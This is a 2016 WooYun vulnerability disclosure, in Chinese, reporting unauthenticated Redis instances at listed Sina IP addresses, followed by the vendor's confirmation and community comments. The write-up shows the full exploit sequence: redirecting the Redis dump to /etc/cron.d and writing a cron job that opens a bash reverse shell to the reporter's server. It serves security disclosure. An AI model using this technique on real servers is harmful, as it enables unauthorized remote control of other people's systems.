当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0198951

漏洞标题：我也来漫游新浪内网

相关厂商：新浪

漏洞作者： 无人知晓

提交时间：2016-04-21 17:02

修复时间：2016-06-05 18:00

公开时间：2016-06-05 18:00

漏洞类型：未授权访问/权限绕过

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-04-21： 细节已通知厂商并且等待厂商处理中
2016-04-21： 厂商已经确认，细节仅向厂商公开
2016-05-01： 细节向核心白帽子及相关领域专家公开
2016-05-11： 细节向普通白帽子公开
2016-05-21： 细节向实习白帽子公开
2016-06-05： 细节向公众公开

简要描述：

未深入，简单逛逛就出来了…没做啥事，减轻应急同学的负担

详细说明：

几个机器的redis未授权访问：
redis://60.28.244.38:6300
redis://60.28.244.38:6301
redis://60.28.244.141:6301
redis://60.28.244.141:6300
redis://60.28.244.140:6300
redis://60.28.244.140:6301
测试一下第一台

60.28.244.38:6300> keys *
1) "key"
2) "ycl"
60.28.244.38:6300> get key
"b"
60.28.244.38:6300> set key a
OK
60.28.244.38:6300> config set dir /etc/cron.d
OK
60.28.244.38:6300> config set dbfilename 1
echo -e "\n\n*/1 * * * * root bash -i >& /dev/tcp/my server/4000 0>&1 \n\n"|redis-cli -h 60.28.244.38 -p 6300 -x set key
60.28.244.38:6300> save
OK


然后就反弹shell回来了

1.png


2.png

漏洞证明：

3.png


4.png


未深入，点到为止。

修复方案：

限制访问

版权声明：转载请注明来源 无人知晓@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：8

确认时间：2016-04-21 17:52

厂商回复：

感谢关注新浪安全，安全问题修复中。

最新状态：

暂无

漏洞评价：

评价

  1. 2016-04-21 17:06 | Aasron ( 普通白帽子 | Rank:863 漏洞数:158 | raw_input("你知道我要输入什么？"))

    被玩坏了

  2. 2016-04-21 17:08 | 大师兄 ( 实习白帽子 | Rank:31 漏洞数:8 | 每日必关注乌云)

    期待下篇：我再来玩

  3. 2016-04-21 17:09 | Vinc ( 普通白帽子 | Rank:383 漏洞数:58 | 提莫队长正在待命！)

    该好好整整了 哈哈

  4. 2016-04-21 17:09 | 从容 ( 普通白帽子 | Rank:414 漏洞数:98 | 哇啦啦啦啦啦 我的宝贝 | Tr3jer@Gmail.c...)

    期待下下、下下下篇：我还来玩、我又来玩

  5. 2016-04-21 17:14 | prolog ( 普通白帽子 | Rank:841 漏洞数:176 )

    我还来漫游、我又来漫游、我带上表妹漫游、我带上表哥漫游，我带上表哥表妹一起漫游

  6. 2016-04-21 17:37 | js2012 ( 普通白帽子 | Rank:124 漏洞数:43 | 闭关修炼。。。)

    是不是改搞一波众测了

  7. 2016-04-21 17:54 | 猪猪侠 认证白帽子 ( 核心白帽子 | Rank:5265 漏洞数:404 | 你都有那么多超级棒棒糖了，还要自由干吗？)

    漫游の你们漫游不动了只有我还能漫游

  8. 2016-04-21 17:58 | Aasron ( 普通白帽子 | Rank:863 漏洞数:158 | raw_input("你知道我要输入什么？"))

    猪猪侠这样说了，下面要漫游就很尴尬了

  9. 2016-04-21 18:21 | 无人知晓 ( 实习白帽子 | Rank:64 漏洞数:8 | 一个苦逼的程序猿)

    新浪也太小气了。。就8rank

  10. 2016-04-21 19:29 | dragon110 ( 路人 | Rank:4 漏洞数:2 | 谨言、慎行、多思。)

    尴尬了。